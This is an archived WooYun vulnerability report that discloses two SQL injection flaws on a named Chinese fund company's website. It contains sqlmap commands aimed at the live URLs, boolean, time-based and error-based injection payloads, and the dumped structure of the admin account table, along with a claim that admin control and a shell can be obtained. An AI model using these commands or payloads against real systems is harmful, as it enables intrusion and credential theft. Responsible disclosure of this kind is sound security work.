当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0129927

漏洞标题:万银财富基金主站SQL注入两枚可控制超级管理员账号

相关厂商:万银财富基金

漏洞作者: 凌零1

提交时间:2015-07-28 13:51

修复时间:2015-09-15 15:06

公开时间:2015-09-15 15:06

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-28: 细节已通知厂商并且等待厂商处理中
2015-08-01: 厂商已经确认,细节仅向厂商公开
2015-08-11: 细节向核心白帽子及相关领域专家公开
2015-08-21: 细节向普通白帽子公开
2015-08-31: 细节向实习白帽子公开
2015-09-15: 细节向公众公开

简要描述:

万银财富基金主站SQL注入两枚,管理员权限

详细说明:

inst_id
http://www.wy-fund.com/index.php?a=init&c=inbrok&inst_id=56&m=instarea
inst_code
http://www.wy-fund.com/index.php?c=infund&inst_code=80091787&m=instarea

root@K:~# sqlmap -u "http://www.wy-fund.com/index.php?c=infund&inst_code=80091787&m=instarea" -p "inst_code"
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 12:53:44
[12:53:44] [INFO] resuming back-end DBMS 'mysql'
[12:53:44] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: inst_code
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: c=infund&inst_code=80091787 AND 9248=9248&m=instarea
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: c=infund&inst_code=80091787 AND SLEEP(5)&m=instarea
---
[12:53:44] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.11

root@K:~# sqlmap -u "http://www.wy-fund.com/index.php?a=init&c=inbrok&inst_id=56&m=instarea" -p "inst_id"
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 12:54:40
[12:54:40] [INFO] resuming back-end DBMS 'mysql'
[12:54:40] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: inst_id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: a=init&c=inbrok&inst_id=56 AND 4460=4460&m=instarea
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: a=init&c=inbrok&inst_id=56 AND (SELECT 3544 FROM(SELECT COUNT(*),CONCAT(0x7173766971,(SELECT (CASE WHEN (3544=3544) THEN 1 ELSE 0 END)),0x716e657871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&m=instarea
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: a=init&c=inbrok&inst_id=56 AND SLEEP(5)&m=instarea
---
[12:54:40] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.11
[12:54:40] [INFO] fetched data logged t

Database: wy_www
Table: v9_admin
[11 columns]
+---------------+-----------------------+
| Column | Type |
+---------------+-----------------------+
| card | varchar(255) |
| email | varchar(40) |
| encrypt | varchar(6) |
| lang | varchar(6) |
| lastloginip | varchar(15) |
| lastlogintime | int(10) unsigned |
| password | varchar(32) |
| realname | varchar(50) |
| roleid | smallint(5) |
| userid | mediumint(6) unsigned |
| username | varchar(20) |
+---------------+-----------------------+

漏洞证明:

AI{V[CUP_`KGYB1~ASU%S~B.png


8R)@0VNY8}[`3ASJBFH$SVN.jpg

H(W~UVL}8PJ0DRXWXACOPXU.jpg


可数据备份拿shell

修复方案:

过滤,权限

版权声明:转载请注明来源 凌零1@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2015-08-01 15:04

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT向证券业信息化主管部门通报,由其后续协调网站管理单位处置.

最新状态:

暂无